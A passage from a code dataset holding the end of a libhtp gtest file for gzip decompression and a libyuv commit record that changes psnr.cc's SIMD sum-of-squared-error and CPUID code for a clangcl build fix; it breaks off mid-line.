<ivanr@webkreator.com>\r\n *\/\r\n\r\n#include <iostream>\r\n#include <fcntl.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys\/types.h>\r\n#include <sys\/stat.h>\r\n\r\n#include <gtest\/gtest.h>\r\n#include \"htp\/htp.h\"\r\n#include \"htp\/htp_decompressors.h\"\r\n\r\n#ifndef O_BINARY\r\n#define O_BINARY 0\r\n#endif\r\n\r\nstatic htp_status_t GUnzip_decompressor_callback(htp_tx_data_t *d) {\r\n    \/\/ fprint_raw_data(stdout, \"decompressed\", d->data, d->len);\r\n\r\n    bstr **output = (bstr **)htp_tx_get_user_data(d->tx);\r\n    *output = bstr_dup_mem(d->data, d->len);\r\n\r\n    return HTP_OK;\r\n}\r\n\r\nclass GUnzip : public testing::Test {\r\n    \r\nprotected:\r\n\r\n    virtual htp_status_t decompressFile(const char *f) {\r\n        \/\/ Construct complete file name\r\n        \r\n        char filename[1025];\r\n        strncpy(filename, home, 1024);\r\n        strncat(filename, \"\/\", 1024 - strlen(filename));\r\n        strncat(filename, f, 1024 - strlen(filename));\r\n\r\n        \/\/ Load test data\r\n\r\n        int fd = open(filename, O_RDONLY | O_BINARY);\r\n        if (fd < 0) {\r\n            \/\/FAIL() << \"Unable to open test file\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        struct stat statbuf;\r\n        if (fstat(fd, &statbuf) < 0) {\r\n            \/\/FAIL() << \"Unable to stat test file\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        htp_tx_data_t d;\r\n        d.tx = tx;\r\n        d.len = statbuf.st_size;\r\n        d.data = (const unsigned char *)malloc(d.len);\r\n        if (d.data == NULL) {\r\n            \/\/FAIL() << \"Memory allocation failed\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        if (read(fd, (void *)d.data, d.len) != d.len) {\r\n            \/\/FAIL() << \"Reading from test file failed\";\r\n            close(fd);\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        close(fd);\r\n\r\n        \/\/ Decompress\r\n\r\n        return decompressor->decompress(decompressor, &d);\r\n    }\r\n\r\n    virtual void SetUp() {\r\n        home = getenv(\"srcdir\");\r\n        if (home == NULL) {\r\n            fprintf(stderr, \"This program needs environment variable 'srcdir' set.\");\r\n            exit(EXIT_FAILURE);\r\n        }\r\n\r\n        cfg = htp_config_create();\r\n        htp_config_set_server_personality(cfg, HTP_SERVER_APACHE_2);\r\n\r\n        connp = htp_connp_create(cfg);\r\n        tx = htp_connp_tx_create(connp);\r\n        htp_tx_set_user_data(tx, &output);\r\n\r\n        decompressor = htp_gzip_decompressor_create(connp, COMPRESSION_GZIP);\r\n        decompressor->callback = GUnzip_decompressor_callback;\r\n\r\n        o_boxing_wizards = bstr_dup_c(\"The five boxing wizards jump quickly.\");\r\n        output = NULL;\r\n    }\r\n\r\n    virtual void TearDown() {\r\n        bstr_free(&output);\r\n        bstr_free(&o_boxing_wizards);\r\n        decompressor->destroy(decompressor);\r\n        htp_connp_destroy_all(connp);\r\n        htp_config_destroy(cfg);\r\n    }\r\n\r\n    bstr *output;\r\n\r\n    bstr *o_boxing_wizards;\r\n\r\n    htp_connp_t *connp;\r\n\r\n    htp_tx_t *tx;\r\n\r\n    htp_cfg_t *cfg;\r\n\r\n    char *home;\r\n\r\n    htp_decompressor_t *decompressor;\r\n};\r\n\r\nTEST_F(GUnzip, Minimal) {\r\n    htp_status_t rc = decompressFile(\"gztest-01-minimal.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FNAME) {\r\n    htp_status_t rc = decompressFile(\"gztest-02-fname.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, FCOMMENT) {\r\n    htp_status_t rc = decompressFile(\"gztest-03-fcomment.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FHCRC) {\r\n    htp_status_t rc = decompressFile(\"gztest-04-fhcrc.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, FEXTRA) {\r\n    htp_status_t rc = decompressFile(\"gztest-05-fextra.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FTEXT) {\r\n    htp_status_t rc = decompressFile(\"gztest-06-ftext.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, FRESERVED1) {\r\n    htp_status_t rc = decompressFile(\"gztest-07-freserved1.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FRESERVED2) {\r\n    htp_status_t rc = decompressFile(\"gztest-08-freserved2.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FRESERVED3) {\r\n    htp_status_t rc = decompressFile(\"gztest-09-freserved3.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, Multipart) {\r\n    htp_status_t rc = decompressFile(\"gztest-10-multipart.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, InvalidMethod) {\r\n    htp_status_t rc = decompressFile(\"gztest-11-invalid-method.gz.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidCrc) {\r\n    htp_status_t rc = decompressFile(\"gztest-12-invalid-crc32.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidInputSize) {\r\n    htp_status_t rc = decompressFile(\"gztest-13-invalid-isize.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, InvalidExtraFlags) {\r\n    htp_status_t rc = decompressFile(\"gztest-14-invalid-xfl.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidHeaderCrc) {\r\n    htp_status_t rc = decompressFile(\"gztest-15-invalid-fhcrc.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright 2013 The LibYuv Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS. All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \".\/psnr.h\"  \/\/ NOLINT\n\n#ifdef _OPENMP\n#include <omp.h>\n#endif\n#ifdef _MSC_VER\n#include <intrin.h>  \/\/ For __cpuid()\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef unsigned int uint32;  \/\/ NOLINT\n#ifdef _MSC_VER\ntypedef unsigned __int64 uint64;\n#else  \/\/ COMPILER_MSVC\n#if defined(__LP64__) && !defined(__OpenBSD__) && !defined(__APPLE__)\ntypedef unsigned long uint64;  \/\/ NOLINT\n#else  \/\/ defined(__LP64__) && !defined(__OpenBSD__) && !defined(__APPLE__)\ntypedef unsigned long long uint64;  \/\/ NOLINT\n#endif  \/\/ __LP64__\n#endif  \/\/ _MSC_VER\n\n\/\/ libyuv provides this function when linking library for jpeg support.\n#if !defined(HAVE_JPEG)\n\n#if !defined(LIBYUV_DISABLE_NEON) && defined(__ARM_NEON__) && \\\n    !defined(__aarch64__)\n#define HAS_SUMSQUAREERROR_NEON\nstatic uint32 SumSquareError_NEON(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  volatile uint32 sse;\n  asm volatile (\n    \"vmov.u8    q7, #0                         \\n\"\n    \"vmov.u8    q9, #0                         \\n\"\n    \"vmov.u8    q8, #0                         \\n\"\n    \"vmov.u8    q10, #0                        \\n\"\n\n  \"1:                                          \\n\"\n    \"vld1.u8    {q0}, [%0]!                    \\n\"\n    \"vld1.u8    {q1}, [%1]!                    \\n\"\n    \"vsubl.u8   q2, d0, d2                     \\n\"\n    \"vsubl.u8   q3, d1, d3                     \\n\"\n    \"vmlal.s16  q7, d4, d4                     \\n\"\n    \"vmlal.s16  q8, d6, d6                     \\n\"\n    \"vmlal.s16  q8, d5, d5                     \\n\"\n    \"vmlal.s16  q10, d7, d7                    \\n\"\n    \"subs       %2, %2, #16                    \\n\"\n    \"bhi        1b                             \\n\"\n\n    \"vadd.u32   q7, q7, q8                     \\n\"\n    \"vadd.u32   q9, q9, q10                    \\n\"\n    \"vadd.u32   q10, q7, q9                    \\n\"\n    \"vpaddl.u32 q1, q10                        \\n\"\n    \"vadd.u64   d0, d2, d3                     \\n\"\n    \"vmov.32    %3, d0[0]                      \\n\"\n    : \"+r\"(src_a),\n      \"+r\"(src_b),\n      \"+r\"(count),\n      \"=r\"(sse)\n    :\n    : \"memory\", \"cc\", \"q0\", \"q1\", \"q2\", \"q3\", \"q7\", \"q8\", \"q9\", \"q10\");\n  return sse;\n}\n#elif !defined(LIBYUV_DISABLE_NEON) && defined(__aarch64__)\n#define HAS_SUMSQUAREERROR_NEON\nstatic uint32 SumSquareError_NEON(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  volatile uint32 sse;\n  asm volatile (\n    \"eor        v16.16b, v16.16b, v16.16b      \\n\"\n    \"eor        v18.16b, v18.16b, v18.16b      \\n\"\n    \"eor        v17.16b, v17.16b, v17.16b      \\n\"\n    \"eor        v19.16b, v19.16b, v19.16b      \\n\"\n\n  \"1:                                          \\n\"\n    \"ld1        {v0.16b}, [%0], #16            \\n\"\n    \"ld1        {v1.16b}, [%1], #16            \\n\"\n    \"subs       %2, %2, #16                    \\n\"\n    \"usubl      v2.8h, v0.8b, v1.8b            \\n\"\n    \"usubl2     v3.8h, v0.16b, v1.16b          \\n\"\n    \"smlal      v16.4s, v2.4h, v2.4h           \\n\"\n    \"smlal      v17.4s, v3.4h, v3.4h           \\n\"\n    \"smlal2     v18.4s, v2.8h, v2.8h           \\n\"\n    \"smlal2     v19.4s, v3.8h, v3.8h           \\n\"\n    \"b.gt       1b                             \\n\"\n\n    \"add        v16.4s, v16.4s, v17.4s         \\n\"\n    \"add        v18.4s, v18.4s, v19.4s         \\n\"\n    \"add        v19.4s, v16.4s, v18.4s         \\n\"\n    \"addv       s0, v19.4s                     \\n\"\n    \"fmov       %w3, s0                        \\n\"\n    : \"+r\"(src_a),\n      \"+r\"(src_b),\n      \"+r\"(count),\n      \"=r\"(sse)\n    :\n    : \"cc\", \"v0\", \"v1\", \"v2\", \"v3\", \"v16\", \"v17\", \"v18\", \"v19\");\n  return sse;\n}\n#elif !defined(LIBYUV_DISABLE_X86) && defined(_M_IX86) && defined(_MSC_VER)\n#define HAS_SUMSQUAREERROR_SSE2\n__declspec(naked)\nstatic uint32 SumSquareError_SSE2(const uint8* \/*src_a*\/,\n                                  const uint8* \/*src_b*\/, int \/*count*\/) {\n  __asm {\n    mov        eax, [esp + 4]    \/\/ src_a\n    mov        edx, [esp + 8]    \/\/ src_b\n    mov        ecx, [esp + 12]   \/\/ count\n    pxor       xmm0, xmm0\n    pxor       xmm5, xmm5\n    sub        edx, eax\n\n  wloop:\n    movdqu     xmm1, [eax]\n    movdqu     xmm2, [eax + edx]\n    lea        eax,  [eax + 16]\n    movdqu     xmm3, xmm1\n    psubusb    xmm1, xmm2\n    psubusb    xmm2, xmm3\n    por        xmm1, xmm2\n    movdqu     xmm2, xmm1\n    punpcklbw  xmm1, xmm5\n    punpckhbw  xmm2, xmm5\n    pmaddwd    xmm1, xmm1\n    pmaddwd    xmm2, xmm2\n    paddd      xmm0, xmm1\n    paddd      xmm0, xmm2\n    sub        ecx, 16\n    ja         wloop\n\n    pshufd     xmm1, xmm0, 0EEh\n    paddd      xmm0, xmm1\n    pshufd     xmm1, xmm0, 01h\n    paddd      xmm0, xmm1\n    movd       eax, xmm0\n    ret\n  }\n}\n#elif !defined(LIBYUV_DISABLE_X86) && (defined(__x86_64__) || defined(__i386__))\n#define HAS_SUMSQUAREERROR_SSE2\nstatic uint32 SumSquareError_SSE2(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  uint32 sse;\n  asm volatile (  \/\/ NOLINT\n    \"pxor      %%xmm0,%%xmm0                   \\n\"\n    \"pxor      %%xmm5,%%xmm5                   \\n\"\n    \"sub       %0,%1                           \\n\"\n\n  \"1:                                          \\n\"\n    \"movdqu    (%0),%%xmm1                     \\n\"\n    \"movdqu    (%0,%1,1),%%xmm2                \\n\"\n    \"lea       0x10(%0),%0                     \\n\"\n    \"movdqu    %%xmm1,%%xmm3                   \\n\"\n    \"psubusb   %%xmm2,%%xmm1                   \\n\"\n    \"psubusb   %%xmm3,%%xmm2                   \\n\"\n    \"por       %%xmm2,%%xmm1                   \\n\"\n    \"movdqu    %%xmm1,%%xmm2                   \\n\"\n    \"punpcklbw %%xmm5,%%xmm1                   \\n\"\n    \"punpckhbw %%xmm5,%%xmm2                   \\n\"\n    \"pmaddwd   %%xmm1,%%xmm1                   \\n\"\n    \"pmaddwd   %%xmm2,%%xmm2                   \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"paddd     %%xmm2,%%xmm0                   \\n\"\n    \"sub       $0x10,%2                        \\n\"\n    \"ja        1b                              \\n\"\n\n    \"pshufd    $0xee,%%xmm0,%%xmm1             \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"pshufd    $0x1,%%xmm0,%%xmm1              \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"movd      %%xmm0,%3                       \\n\"\n\n  : \"+r\"(src_a),      \/\/ %0\n    \"+r\"(src_b),      \/\/ %1\n    \"+r\"(count),      \/\/ %2\n    \"=g\"(sse)         \/\/ %3\n  :\n  : \"memory\", \"cc\"\n#if defined(__SSE2__)\n    , \"xmm0\", \"xmm1\", \"xmm2\", \"xmm3\", \"xmm5\"\n#endif\n  );  \/\/ NOLINT\n  return sse;\n}\n#endif  \/\/ LIBYUV_DISABLE_X86 etc\n\n#if defined(HAS_SUMSQUAREERROR_SSE2)\n#if (defined(__pic__) || defined(__APPLE__)) && defined(__i386__)\nstatic __inline void __cpuid(int cpu_info[4], int info_type) {\n  asm volatile (  \/\/ NOLINT\n    \"mov %%ebx, %%edi                          \\n\"\n    \"cpuid                                     \\n\"\n    \"xchg %%edi, %%ebx                         \\n\"\n    : \"=a\"(cpu_info[0]), \"=D\"(cpu_info[1]), \"=c\"(cpu_info[2]), \"=d\"(cpu_info[3])\n    : \"a\"(info_type));\n}\n#elif defined(__i386__) || defined(__x86_64__)\nstatic __inline void __cpuid(int cpu_info[4], int info_type) {\n  asm volatile (  \/\/ NOLINT\n    \"cpuid                                     \\n\"\n    : \"=a\"(cpu_info[0]), \"=b\"(cpu_info[1]), \"=c\"(cpu_info[2]), \"=d\"(cpu_info[3])\n    : \"a\"(info_type));\n}\n#endif\n\nstatic int CpuHasSSE2() {\n#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)\n  int cpu_info[4];\n  __cpuid(cpu_info, 1);\n  if (cpu_info[3] & 0x04000000) {\n    return 1;\n  }\n#endif\n  return 0;\n}\n#endif  \/\/ HAS_SUMSQUAREERROR_SSE2\n\nstatic uint32 SumSquareError_C(const uint8* src_a,\n                               const uint8* src_b, int count) {\n  uint32 sse = 0u;\n  for (int x = 0; x < count; ++x) {\n    int diff = src_a[x] - src_b[x];\n    sse += static_cast<uint32>(diff * diff);\n  }\n  return sse;\n}\n\ndouble ComputeSumSquareError(const uint8* src_a,\n                             const uint8* src_b, int count) {\n  uint32 (*SumSquareError)(const uint8* src_a,\n                           const uint8* src_b, int count) = SumSquareError_C;\n#if defined(HAS_SUMSQUAREERROR_NEON)\n  SumSquareError = SumSquareError_NEON;\n#endif\n#if defined(HAS_SUMSQUAREERROR_SSE2)\n  if (CpuHasSSE2()) {\n    SumSquareError = SumSquareError_SSE2;\n  }\n#endif\n  const int kBlockSize = 1 << 15;\n  uint64 sse = 0;\n#ifdef _OPENMP\n#pragma omp parallel for reduction(+: sse)\n#endif\n  for (int i = 0; i < (count - (kBlockSize - 1)); i += kBlockSize) {\n    sse += SumSquareError(src_a + i, src_b + i, kBlockSize);\n  }\n  src_a += count & ~(kBlockSize - 1);\n  src_b += count & ~(kBlockSize - 1);\n  int remainder = count & (kBlockSize - 1) & ~15;\n  if (remainder) {\n    sse += SumSquareError(src_a, src_b, remainder);\n    src_a += remainder;\n    src_b += remainder;\n  }\n  remainder = count & 15;\n  if (remainder) {\n    sse += SumSquareError_C(src_a, src_b, remainder);\n  }\n  return static_cast<double>(sse);\n}\n#endif\n\n\/\/ PSNR formula: psnr = 10 * log10 (Peak Signal^2 * size \/ sse)\n\/\/ Returns 128.0 (kMaxPSNR) if sse is 0 (perfect match).\ndouble ComputePSNR(double sse, double size) {\n  const double kMINSSE = 255.0 * 255.0 * size \/ pow(10.0, kMaxPSNR \/ 10.0);\n  if (sse <= kMINSSE)\n    sse = kMINSSE;  \/\/ Produces max PSNR of 128\n  return 10.0 * log10(255.0 * 255.0 * size \/ sse);\n}\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n<commit_msg>clangcl build fix for __cpuid in psnr util. Since clangcl provides the intrinsic thru its Visual C emulation, don't duplicately define the function with an inline version, which is normally needed for gcc\/clang. BUG=412 TESTED=set GYP_DEFINES=clang=1 & gyp_libyuv -fninja libyuv_test.gyp R=brucedawson@google.com<commit_after>\/*\n *  Copyright 2013 The LibYuv Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS. All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \".\/psnr.h\"  \/\/ NOLINT\n\n#ifdef _OPENMP\n#include <omp.h>\n#endif\n#ifdef _MSC_VER\n#include <intrin.h>  \/\/ For __cpuid()\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef unsigned int uint32;  \/\/ NOLINT\n#ifdef _MSC_VER\ntypedef unsigned __int64 uint64;\n#else  \/\/ COMPILER_MSVC\n#if defined(__LP64__) && !defined(__OpenBSD__) && !defined(__APPLE__)\ntypedef unsigned long uint64;  \/\/ NOLINT\n#else  \/\/ defined(__LP64__) && !defined(__OpenBSD__) && !defined(__APPLE__)\ntypedef unsigned long long uint64;  \/\/ NOLINT\n#endif  \/\/ __LP64__\n#endif  \/\/ _MSC_VER\n\n\/\/ libyuv provides this function when linking library for jpeg support.\n#if !defined(HAVE_JPEG)\n\n#if !defined(LIBYUV_DISABLE_NEON) && defined(__ARM_NEON__) && \\\n    !defined(__aarch64__)\n#define HAS_SUMSQUAREERROR_NEON\nstatic uint32 SumSquareError_NEON(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  volatile uint32 sse;\n  asm volatile (\n    \"vmov.u8    q7, #0                         \\n\"\n    \"vmov.u8    q9, #0                         \\n\"\n    \"vmov.u8    q8, #0                         \\n\"\n    \"vmov.u8    q10, #0                        \\n\"\n\n  \"1:                                          \\n\"\n    \"vld1.u8    {q0}, [%0]!                    \\n\"\n    \"vld1.u8    {q1}, [%1]!                    \\n\"\n    \"vsubl.u8   q2, d0, d2                     \\n\"\n    \"vsubl.u8   q3, d1, d3                     \\n\"\n    \"vmlal.s16  q7, d4, d4                     \\n\"\n    \"vmlal.s16  q8, d6, d6                     \\n\"\n    \"vmlal.s16  q8, d5, d5                     \\n\"\n    \"vmlal.s16  q10, d7, d7                    \\n\"\n    \"subs       %2, %2, #16                    \\n\"\n    \"bhi        1b                             \\n\"\n\n    \"vadd.u32   q7, q7, q8                     \\n\"\n    \"vadd.u32   q9, q9, q10                    \\n\"\n    \"vadd.u32   q10, q7, q9                    \\n\"\n    \"vpaddl.u32 q1, q10                        \\n\"\n    \"vadd.u64   d0, d2, d3                     \\n\"\n    \"vmov.32    %3, d0[0]                      \\n\"\n    : \"+r\"(src_a),\n      \"+r\"(src_b),\n      \"+r\"(count),\n      \"=r\"(sse)\n    :\n    : \"memory\", \"cc\", \"q0\", \"q1\", \"q2\", \"q3\", \"q7\", \"q8\", \"q9\", \"q10\");\n  return sse;\n}\n#elif !defined(LIBYUV_DISABLE_NEON) && defined(__aarch64__)\n#define HAS_SUMSQUAREERROR_NEON\nstatic uint32 SumSquareError_NEON(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  volatile uint32 sse;\n  asm volatile (\n    \"eor        v16.16b, v16.16b, v16.16b      \\n\"\n    \"eor        v18.16b, v18.16b, v18.16b      \\n\"\n    \"eor        v17.16b, v17.16b, v17.16b      \\n\"\n    \"eor        v19.16b, v19.16b, v19.16b      \\n\"\n\n  \"1:                                          \\n\"\n    \"ld1        {v0.16b}, [%0], #16            \\n\"\n    \"ld1        {v1.16b}, [%1], #16            \\n\"\n    \"subs       %2, %2, #16                    \\n\"\n    \"usubl      v2.8h, v0.8b, v1.8b            \\n\"\n    \"usubl2     v3.8h, v0.16b, v1.16b          \\n\"\n    \"smlal      v16.4s, v2.4h, v2.4h           \\n\"\n    \"smlal      v17.4s, v3.4h, v3.4h           \\n\"\n    \"smlal2     v18.4s, v2.8h, v2.8h           \\n\"\n    \"smlal2     v19.4s, v3.8h, v3.8h           \\n\"\n    \"b.gt       1b                             \\n\"\n\n    \"add        v16.4s, v16.4s, v17.4s         \\n\"\n    \"add        v18.4s, v18.4s, v19.4s         \\n\"\n    \"add        v19.4s, v16.4s, v18.4s         \\n\"\n    \"addv       s0, v19.4s                     \\n\"\n    \"fmov       %w3, s0                        \\n\"\n    : \"+r\"(src_a),\n      \"+r\"(src_b),\n      \"+r\"(count),\n      \"=r\"(sse)\n    :\n    : \"cc\", \"v0\", \"v1\", \"v2\", \"v3\", \"v16\", \"v17\", \"v18\", \"v19\");\n  return sse;\n}\n#elif !defined(LIBYUV_DISABLE_X86) && defined(_M_IX86) && defined(_MSC_VER)\n#define HAS_SUMSQUAREERROR_SSE2\n__declspec(naked)\nstatic uint32 SumSquareError_SSE2(const uint8* \/*src_a*\/,\n                                  const uint8* \/*src_b*\/, int \/*count*\/) {\n  __asm {\n    mov        eax, [esp + 4]    \/\/ src_a\n    mov        edx, [esp + 8]    \/\/ src_b\n    mov        ecx, [esp + 12]   \/\/ count\n    pxor       xmm0, xmm0\n    pxor       xmm5, xmm5\n    sub        edx, eax\n\n  wloop:\n    movdqu     xmm1, [eax]\n    movdqu     xmm2, [eax + edx]\n    lea        eax,  [eax + 16]\n    movdqu     xmm3, xmm1\n    psubusb    xmm1, xmm2\n    psubusb    xmm2, xmm3\n    por        xmm1, xmm2\n    movdqu     xmm2, xmm1\n    punpcklbw  xmm1, xmm5\n    punpckhbw  xmm2, xmm5\n    pmaddwd    xmm1, xmm1\n    pmaddwd    xmm2, xmm2\n    paddd      xmm0, xmm1\n    paddd      xmm0, xmm2\n    sub        ecx, 16\n    ja         wloop\n\n    pshufd     xmm1, xmm0, 0EEh\n    paddd      xmm0, xmm1\n    pshufd     xmm1, xmm0, 01h\n    paddd      xmm0, xmm1\n    movd       eax, xmm0\n    ret\n  }\n}\n#elif !defined(LIBYUV_DISABLE_X86) && (defined(__x86_64__) || defined(__i386__))\n#define HAS_SUMSQUAREERROR_SSE2\nstatic uint32 SumSquareError_SSE2(const uint8* src_a,\n                                  const uint8* src_b, int count) {\n  uint32 sse;\n  asm volatile (  \/\/ NOLINT\n    \"pxor      %%xmm0,%%xmm0                   \\n\"\n    \"pxor      %%xmm5,%%xmm5                   \\n\"\n    \"sub       %0,%1                           \\n\"\n\n  \"1:                                          \\n\"\n    \"movdqu    (%0),%%xmm1                     \\n\"\n    \"movdqu    (%0,%1,1),%%xmm2                \\n\"\n    \"lea       0x10(%0),%0                     \\n\"\n    \"movdqu    %%xmm1,%%xmm3                   \\n\"\n    \"psubusb   %%xmm2,%%xmm1                   \\n\"\n    \"psubusb   %%xmm3,%%xmm2                   \\n\"\n    \"por       %%xmm2,%%xmm1                   \\n\"\n    \"movdqu    %%xmm1,%%xmm2                   \\n\"\n    \"punpcklbw %%xmm5,%%xmm1                   \\n\"\n    \"punpckhbw %%xmm5,%%xmm2                   \\n\"\n    \"pmaddwd   %%xmm1,%%xmm1                   \\n\"\n    \"pmaddwd   %%xmm2,%%xmm2                   \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"paddd     %%xmm2,%%xmm0                   \\n\"\n    \"sub       $0x10,%2                        \\n\"\n    \"ja        1b                              \\n\"\n\n    \"pshufd    $0xee,%%xmm0,%%xmm1             \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"pshufd    $0x1,%%xmm0,%%xmm1              \\n\"\n    \"paddd     %%xmm1,%%xmm0                   \\n\"\n    \"movd      %%xmm0,%3                       \\n\"\n\n  : \"+r\"(src_a),      \/\/ %0\n    \"+r\"(src_b),      \/\/ %1\n    \"+r\"(count),      \/\/ %2\n    \"=g\"(sse)         \/\/ %3\n  :\n  : \"memory\", \"cc\"\n#if defined(__SSE2__)\n    , \"xmm0\", \"xmm1\", \"xmm2\", \"xmm3\", \"xmm5\"\n#endif\n  );  \/\/ NOLINT\n  return sse;\n}\n#endif  \/\/ LIBYUV_DISABLE_X86 etc\n\n#if defined(HAS_SUMSQUAREERROR_SSE2)\n#if (defined(__pic__) || defined(__APPLE__)) && defined(__i386__)\nstatic __inline void __cpuid(int cpu_info[4], int info_type) {\n  asm volatile (  \/\/ NOLINT\n    \"mov %%ebx, %%edi                          \\n\"\n    \"cpuid                                     \\n\"\n    \"xchg %%edi, %%ebx                         \\n\"\n    : \"=a\"(cpu_info[0]), \"=D\"(cpu_info[1]), \"=c\"(cpu_info[2]), \"=d\"(cpu_info[3])\n    : \"a\"(info_type));\n}\n\/\/ For gcc\/clang but not clangcl.\n#elif (defined(__i386__) || defined(__x86_64__)) && !defined(_MSC_VER)\nstatic __inline void __cpuid(int cpu_info[4], int info_type) {\n  asm volatile (  \/\/ NOLINT\n    \"cpuid                                     \\n\"\n    : \"=a\"(cpu_info[0]), \"=b\"(cpu_info[1]), \"=c\"(cpu_info[2]), \"=d\"(cpu_info[3])\n    : \"a\"(info_type));\n}\n#endif\n\nstatic int CpuHasSSE2() {\n#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)\n  int cpu_info[4];\n  __cpuid(cpu_info, 1);\n  if (cpu_info[3] & 0x04000000) {\n    return 1;\n  }\n#endif\n  return 0;\n}\n#endif  \/\/ HAS_SUMSQUAREERROR_SSE2\n\nstatic uint32 SumSquareError_C(const uint8* src_a,\n                               const uint8* src_b, int count) {\n  uint32 sse = 0u;\n  for (int x = 0; x < count; ++x) {\n    int diff = src_a[x] - src_b[x];\n    sse += static_cast<uint32>(diff * diff);\n  }\n  return sse;\n}\n\ndouble ComputeSumSquareError(const uint8* src_a,\n                             const uint8* src_b, int count) {\n  uint32 (*SumSquareError)(const uint8* src_a,\n                           const uint8* src_b, int count) = SumSquareError_C;\n#if defined(HAS_SUMSQUAREERROR_NEON)\n  SumSquareError = SumSquareError_NEON;\n#endif\n#if defined(HAS_SUMSQUAREERROR_SSE2)\n  if (CpuHasSSE2()) {\n    SumSquareError = SumSquareError_SSE2;\n  }\n#endif\n  const int kBlockSize = 1 << 15;\n  uint64 sse = 0;\n#ifdef _OPENMP\n#pragma omp parallel for reduction(+: sse)\n#endif\n  for (int i = 0; i < (count - (kBlockSize - 1)); i += kBlockSize) {\n    sse += SumSquareError(src_a + i, src_b + i, kBlockSize);\n  }\n  src_a += count & ~(kBlockSize - 1);\n  src_b += count & ~(kBlockSize - 1);\n  int remainder = count & (kBlockSize - 1) & 